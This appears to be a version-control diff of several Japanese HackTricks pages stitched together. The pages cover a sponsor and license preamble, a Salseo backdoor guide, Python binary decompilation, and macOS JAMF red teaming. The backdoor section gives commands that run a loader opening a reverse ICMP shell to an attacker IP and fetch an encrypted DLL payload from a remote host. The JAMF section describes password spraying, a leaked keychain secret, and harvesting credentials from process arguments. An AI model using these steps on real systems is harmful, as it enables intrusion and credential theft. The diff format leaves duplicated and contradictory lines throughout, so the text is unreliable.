[**DragonJARは、コロンビアに拠点を置く先進的な攻撃型サイバーセキュリティ企業です**](https://www.dragonjar.org/)。DragonJARは、さまざまな分野やほとんどの技術における**ペントテスト**などの包括的な攻撃型サイバーセキュリティサービス、**Red Team**による攻撃シミュレーション、**物理**セキュリティテスト、**ストレステスト**、ソーシャルエンジニアリング、ソース**コードのセキュリティレビュー**、サイバーセキュリティトレーニングを提供しています。さらに、彼らは**DragonJARセキュリティカンファレンス**を主催しており、[スペイン語での最新のセキュリティ研究を紹介するとともに、その地域で非常に重要な国際的なサイバーセキュリティの会議](https://www.dragonjarcon.org/)となっています。
[**DragonJARは、コロンビアに拠点を置く先進的な攻撃型サイバーセキュリティ企業**](https://www.dragonjar.org/) **です**。DragonJARは、さまざまな分野での**ペントテスト**を含む包括的な攻撃型サイバーセキュリティサービスを提供しており、ほとんどの技術に対応しています。また、**Red Team**の攻撃シミュレーション、**物理**セキュリティテスト、**ストレステスト**、ソーシャルエンジニアリング、ソース**コードのセキュリティレビュー**、サイバーセキュリティトレーニングも提供しています。さらに、彼らは**DragonJAR Security Conference**を主催しており、10年以上にわたり開催されており、スペイン語での最新のセキュリティ研究を紹介するとともに、その地域で非常に重要なイベントとなっています。
[**DragonJARは、コロンビアに拠点を置く先進的な攻撃型サイバーセキュリティ企業です**](https://www.dragonjar.org/)。DragonJARは、さまざまな分野やほとんどの技術における**ペントテスト**などの包括的な攻撃型サイバーセキュリティサービス、**Red Team**による攻撃シミュレーション、**物理**セキュリティテスト、**ストレステスト**、ソーシャルエンジニアリング、ソース**コードのセキュリティレビュー**、サイバーセキュリティトレーニングを提供しています。さらに、彼らは**DragonJARセキュリティカンファレンス**を主催しており、[スペイン語での最新のセキュリティ研究を紹介するとともに、その地域で非常に重要な国際的なサイバーセキュリティの会議](https://www.dragonjarcon.org/)となっています。
### [SYN CUBES](https://www.syncubes.com/)
<figure><img src=".gitbook/assets/image (10) (2) (1).png" alt=""><figcaption></figcaption></figure>
**セキュリティスキルをサービスとして提供する**プラットフォームは、**グローバルな攻撃型セキュリティの専門知識とスマートな自動化**を組み合わせ、情報をリアルタイムで提供します。
{% embed url="https://www.syncubes.com/" %}
## ライセンス
**Copyright © Carlos Polop 2023. それ以外の指定がない限り書籍にコピーされた外部情報は元の著者に帰属します、Carlos Polopによる**[**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **のテキストは**[**Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/) **の下でライセンスされています。**\
**商業目的で使用する場合は、私に連絡してください。**
**Copyright © Carlos Polop 2023. 他の特定の場所書籍にコピーされた外部情報は元の著者に帰属しますを除き、Carlos Polopによる** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **のテキストは**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/) **の下でライセンスされています。**\
**商業目的で使用する場合は、お問い合わせください。**
## **免責事項**
{% hint style="danger" %}
この書籍『HackTricks』は、教育および情報提供の目的でのみ使用することを意図しています。この書籍の内容は「現状のまま」提供されており、著者および出版者は、この書籍内に含まれる情報、製品、サービス、または関連するグラフィックの完全性、正確性、信頼性、適合性、または利用可能性について、明示または黙示を問わず、いかなる種類の表明または保証も行いません。したがって、そのような情報に依存することは、完全に自己の責任において行ってください。
著者および出版者は、この書籍の使用に起因する、間接的または結果的な損失や損害、データの損失や利益の喪失を含む、いかなる損害や損失に対しても一切の責任を負いません。
著者および出版者は、この書籍の使用に起因する、間接的または結果的な損失または損害、データの損失または利益の損失を含む、いかなる損失または損害に対しても、一切の責任を負いません。
さらに、この書籍で説明されている技術やヒントは、教育および情報提供の目的でのみ提供されるものであり、いかなる違法または悪意のある活動にも使用してはなりません。著者および出版者は、違法または非倫理的な活動を是認または支持するものではなく、この書籍内に含まれる情報の使用は、ユーザー自身のリスクと裁量によるものです。
ユーザーは、この書籍に含まれる情報に基づいて行われるすべての行動について、自己の責任であり、ここに記載されている技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。
ユーザーは、この書籍に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、ここに記載されている技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。
この書籍を使用することで、ユーザーは著者および出版者を、この書籍またはその中に含まれる情報の使用によって生じるいかなる損害、損失、または害からも免責し、責任を負わないことに同意します。
この書籍を使用することで、ユーザーは、この書籍またはその中に含まれる情報の使用によって生じるいかなる損害、損失、または害に対しても、著者および出版者を一切の責任から免責し、解放することに同意します。
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクション
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -39,25 +39,29 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
```
### Windows
Windowsウィンドウズは、最も一般的なオペレーティングシステムの1つであり、多くのバージョンが存在します。Windowsには、バックドアを作成してシステムに不正アクセスするためのさまざまな方法があります。
Windowsは、バックドアを作成するためのさまざまな方法を提供します。以下にいくつかの一般的な手法を紹介します。
#### リモートデスクトップ
リモートデスクトップは、Windowsの標準機能であり、リモートでコンピュータにアクセスするための便利な方法です。しかし、この機能は悪意のある攻撃者にとっても便利な手段となり得ます。攻撃者は、リモートデスクトップを使用してシステムにアクセスし、バックドアを作成することができます。
リモートデスクトップRDPは、Windowsマシンにリモートでアクセスするための機能です。バックドアを作成するために、攻撃者はRDPを利用してWindowsマシンにアクセスし、システムに対する制御を取得します。
#### サービス
#### バックドアアプリケーション
Windowsでは、バックドアを作成するためにサービスを利用することもできます。サービスは、バックグラウンドで実行されるプログラムであり、システムの機能を提供します。攻撃者は、悪意のあるサービスを作成して、システムにバックドアを作り込むことができます。
バックドアアプリケーションは、Windowsマシンにインストールされたアプリケーションの中に隠されたバックドア機能を持つものです。攻撃者は、バックドアアプリケーションを使用してWindowsマシンにアクセスし、システムに対する制御を取得します。
#### レジストリ
#### サービスの改ざん
Windowsのレジストリは、システムの設定情報を格納するデータベースです。攻撃者は、レジストリを悪用してバックドアを作成することができます。例えば、レジストリの特定のキーに悪意のあるプログラムを登録することで、システムにバックドアを作り込むことができます。
Windowsでは、サービスと呼ばれるバックグラウンドプロセスが実行されています。攻撃者は、サービスの改ざんを行い、バックドアを作成します。これにより、攻撃者はWindowsマシンにアクセスし、システムに対する制御を取得することができます。
#### シェル拡張
#### レジストリの改ざん
Windowsでは、シェル拡張を使用してバックドアを作成することもできます。シェル拡張は、エクスプローラなどのシステムコンポーネントに機能を追加するためのプラグインです。攻撃者は、悪意のあるシェル拡張を作成して、システムにバックドアを作り込むことができます。
Windowsのレジストリは、システムの設定情報を格納しています。攻撃者は、レジストリの改ざんを行い、バックドアを作成します。これにより、攻撃者はWindowsマシンにアクセスし、システムに対する制御を取得することができます。
これらは、Windowsでバックドアを作成するための一般的な方法のいくつかです。攻撃者は、これらの方法を悪用してシステムに不正アクセスすることができます。セキュリティを強化するためには、これらの攻撃手法に対する対策を講じる必要があります。
#### ファイルの改ざん
Windowsでは、重要なシステムファイルが存在します。攻撃者は、これらのファイルを改ざんし、バックドアを作成します。これにより、攻撃者はWindowsマシンにアクセスし、システムに対する制御を取得することができます。
これらは、Windowsでバックドアを作成するための一般的な手法の一部です。攻撃者は、これらの手法を使用してWindowsマシンに侵入し、システムに対する制御を取得することができます。
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
@ -105,19 +109,19 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## DLLのエクスポートメイン関数としてSalseoLoaderをコンパイルする
## DLLのエクスポートメイン関数としてのSalseoLoaderのコンパイル
Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
### メイン関数の前に\[DllExport]を追加します
### メイン関数の前に\[DllExport]を追加します
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png>)
### このプロジェクトにDllExportをインストールします
### このプロジェクトにDllExportをインストールします
#### **ツール** --> **NuGetパッケージマネージャー** --> **ソリューションのNuGetパッケージを管理...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png>)
#### **DllExportパッケージを検索ブラウズタブを使用し、インストールボタンを押しますポップアップを受け入れます**
@ -125,45 +129,45 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
プロジェクトフォルダには、**DllExport.bat**と**DllExport\_Configure.bat**のファイルが表示されます。
### DllExportをアンインストールします
### DllExportをアンインストールします
**アンインストール**を押します(はい、奇妙ですが、信じてください、必要です)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### Visual Studioを終了し、DllExport\_configureを実行します
### Visual Studioを終了し、DllExport\_configureを実行します
Visual Studioを**終了**します
Visual Studioを**終了**します
次に、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を実行します
次に、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を実行します
**x64**を選択しますx64ボックス内で使用する場合、私の場合はそうでした、**System.Runtime.InteropServices****DllExportの名前空間内**)を選択し、**Apply**を押します
**x64**を選択しますx64ボックス内で使用する場合、私の場合はそうでした、**System.Runtime.InteropServices****DllExportの名前空間内**)を選択し、**Apply**を押します
![](<../.gitbook/assets/image (7) (1) (1) (1).png>)
### Visual Studioでプロジェクトを再度開きます
### Visual Studioでプロジェクトを再度開きます
**\[DllExport]**はもはやエラーとしてマークされません
**\[DllExport]**はもはやエラーとしてマークされません
![](<../.gitbook/assets/image (8) (1).png>)
### ソリューションをビルドします
### ソリューションをビルドします
**出力の種類 = クラスライブラリ**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> 出力の種類 = クラスライブラリ)
![](<../.gitbook/assets/image (10) (1).png>)
**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームターゲット = x64
**x64** **プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームターゲット = x64
![](<../.gitbook/assets/image (9) (1) (1).png>)
ソリューションを**ビルド**するには:ビルド --> ソリューションのビルド出力コンソールに新しいDLLのパスが表示されます
### 生成されたDLLをテストします
### 生成されたDLLをテストします
テストしたい場所にDLLをコピーして貼り付けます。
実行します:
実行するコマンド
```
rundll32.exe SalseoLoader.dll,main
```
@ -184,11 +188,13 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD provides a wide range of commands that can be used to perform various tasks, such as navigating through directories, managing files and folders, running programs, and configuring system settings.
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It provides a way to interact with the operating system by executing commands. CMD can be used to perform various tasks, such as navigating through directories, running programs, managing files and folders, and configuring system settings.
CMD is often used by hackers as a backdoor to gain unauthorized access to a target system. By exploiting vulnerabilities or using social engineering techniques, hackers can execute malicious commands through CMD to compromise the security of the system. This can include activities such as installing malware, stealing sensitive information, or gaining remote control of the system.
CMD is a powerful tool for hackers as it allows them to execute commands and scripts to exploit vulnerabilities, gain unauthorized access, and perform various malicious activities on a target system. It provides a direct interface to the underlying operating system, giving hackers control over the system's resources and functionalities.
To protect against CMD-based attacks, it is important to implement strong security measures, such as keeping the operating system and software up to date, using strong passwords, and regularly monitoring system logs for any suspicious activities. Additionally, it is recommended to restrict access to CMD and other command-line tools to only authorized users and to regularly conduct security audits and penetration testing to identify and address any vulnerabilities.
Hackers can use CMD to execute commands to gather information about the target system, such as network configuration, running processes, and user accounts. They can also use CMD to launch attacks, such as brute-forcing passwords, injecting malicious code, and creating backdoors for persistent access.
It is important for system administrators and users to be aware of the potential risks associated with CMD and take necessary precautions to secure their systems. Regularly updating the operating system, using strong passwords, and implementing security measures can help mitigate the risks associated with CMD-based attacks.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt

View file

@ -5,22 +5,22 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
**ハッキングのキャリア**に興味があ、**解読不能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
**ハッキングのキャリア**に興味がある方、**解読不能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
## コンパイルされたバイナリから.pycへ
**ELF**コンパイルされたバイナリからは、次のコマンド**.pyc**を取得できます:
**ELF**形式のコンパイルされたバイナリからは、次のコマンドを使用して**.pyc**を取得できます:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
@ -66,7 +66,7 @@ Unknown magic number 227 in /tmp/binary.pyc
>> imp.get_magic().hex()
'550d0d0a'
```
この場合のPython3.8の**マジックナンバー**は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭に**次のバイトを**追加する必要があります**`0x0d550a0d000000000000000000000000`
この場合のPython3.8の**マジックナンバー**は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭に**次のバイトを**追加**する必要があります:`0x0d550a0d000000000000000000000000`
この**マジックヘッダー**を追加した後、エラーは修正されるはずです。
@ -112,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
```
## Pythonアセンブリの分析
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができますただし、それほど詳細ではありませんので、再度元のコードを抽出することを試みてください。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、非常にシンプルなコードを見つけましたが、_.pyc_ バイナリをディスアセンブルするためのものですコードのフローを理解するのに幸運を祈ります。もし_.pyc_ がPython2のものであれば、Python2を使用してください。
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができますただし、それほど詳細ではありませんので、再度元のコードを抽出することを試みてください。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、非常にシンプルなコードを見つけましたが、これは_.pyc_バイナリをディスアセンブルするためのものですコードのフローを理解するのに幸運を祈ります。もし_.pyc_がPython2のものであれば、Python2を使用してください。
```bash
>>> import dis
>>> import marshal
@ -159,10 +159,10 @@ True
まず、ペイロードがpy2exeとPyInstallerでコンパイルされる方法を紹介します。
### py2exeを使用してペイロードを作成する方法
### py2exeを使用してペイロードを作成する手順
1. [http://www.py2exe.org/](http://www.py2exe.org)からpy2exeパッケージをインストールします。
2. ペイロードにはスクリプトを使用しますこの場合、hello.pyという名前にします。図1に示すようなスクリプトを使用します。オプション「bundle\_files」の値を1にすると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。
2. ペイロードにはスクリプトを使用しますこの場合、hello.pyという名前にします。図1に示すようなスクリプトを使用します。オプション「bundle\_files」の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。
3. スクリプトが準備できたら、「python setup.py py2exe」というコマンドを実行します。これにより、図2に示すように実行可能ファイルが作成されます。
```
from distutils.core import setup
@ -211,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -221,8 +221,8 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**企業を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**

View file

@ -17,7 +17,7 @@
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
管理プラットフォームへのアクセスのために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
管理プラットフォームにアクセスするために**管理者の資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
MacOS環境でのレッドチーミングには、MDMの動作原理についての理解が非常に重要です
@ -31,7 +31,7 @@ MDMは、プロファイルのインストール、クエリ、削除、アプ
独自のMDMを実行するには、[**https://mdmcert.download/**](https://mdmcert.download/)で取得しようとすることができる**ベンダーによって署名されたCSR**が必要です。また、Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用することができます。
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります...ただし、MDMの登録時に**デバイスはMDMのSSL証明書を信頼できるCAとして追加**するため、今では何でも署名できます。
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります...ただし、MDMの登録時に**デバイスは信頼されたCAとしてMDMのSSL証明書を追加**するため、今では何でも署名できます。
デバイスをMDMに登録するには、ルートとして**`mobileconfig`**ファイルをインストールする必要があります。これは**pkg**ファイルを介して配信することができますzipで圧縮し、Safariからダウンロードすると解凍されます
@ -43,19 +43,19 @@ JAMFは、**カスタムスクリプト**(システム管理者によって開
#### JAMFの自己登録
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を要求**する場合があります。
`https://<company-name>.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効になっているかどうか**を確認します。有効な場合、**資格情報を入力するように求められる**場合があります。
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。
さらに、適切な資格情報を見つけた後、次のフォームで他のユーザー名をブルートフォース攻撃することができます:
![](<../../.gitbook/assets/image (7).png>)
![](<../../.gitbook/assets/image (7) (1).png>)
#### JAMFデバイス認証
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見当時は**誰でも共有**されていました。秘密は**`jk23ucnq91jfu9aj`**でした。\
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見当時は**誰でも共有**されていました。秘密は**`jk23ucnq91jfu9aj`**で。\
さらに、jamfは**LaunchDaemon**として**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に永続化されます。
#### JAMFデバイスの乗っ取り
@ -102,9 +102,9 @@ sudo jamf policy -id 0
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
また、Jamfを介して実行したい**カスタムスクリプト**を管理者が配置し、実行して削除するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトには**資格情報**が含まれている可能性があります。
また、Jamfを介して実行したい**カスタムスクリプト**を管理者が配置し、実行後に削除するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトには**資格情報**が含まれている可能性があります。
ただし、これらのスクリプトには**パラメータ**として資格情報が渡される場合があるため、`ps aux | grep -i jamf`を監視する必要がありますrootでなくても可能です)。
ただし、これらのスクリプトには**パラメータ**として資格情報が渡される場合があるため、`ps aux | grep -i jamf`を監視する必要がありますrootでなくても可
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルの追加と新しいプロセス引数のリッスンを行うことができます。
@ -132,7 +132,7 @@ sudo jamf policy -id 0
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
あなたに役立つかもしれない**ローカルMacOSツール**には、`dscl`があります
また、あなたに役立つかもしれない**ローカルMacOSツール**には、`dscl`があります
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
@ -155,7 +155,7 @@ MacOSのユーザーには3つのタイプがあります
* **モバイルユーザー** - ローカルのバックアップを持つActive Directoryユーザーで、資格情報とファイルが保存されます。
ユーザーとグループに関するローカル情報は、_ /var/db/dslocal/nodes/Default _フォルダに保存されています。\
たとえば、_mark_というユーザーの情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、_admin_というグループの情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
たとえば、ユーザー名が _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
MacHoundはBloodhoundデータベースにHasSessionとAdminToのエッジに加えて、**3つの新しいエッジ**を追加します:
@ -220,9 +220,9 @@ Safariでファイルをダウンロードすると、それが「安全な」
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですかまたは、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -22,7 +22,7 @@ macOSの**XPCサービス**が、**PID**ではなく**監査トークン**に基
関数**`shouldAcceptNewConnection`**またはそれを呼び出す関数が、**`processIdentifier`**を呼び出さずに呼び出している場合、それはおそらくプロセスのPIDを検証していることを意味します。例えば、次の画像参照から取得のようになります。
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
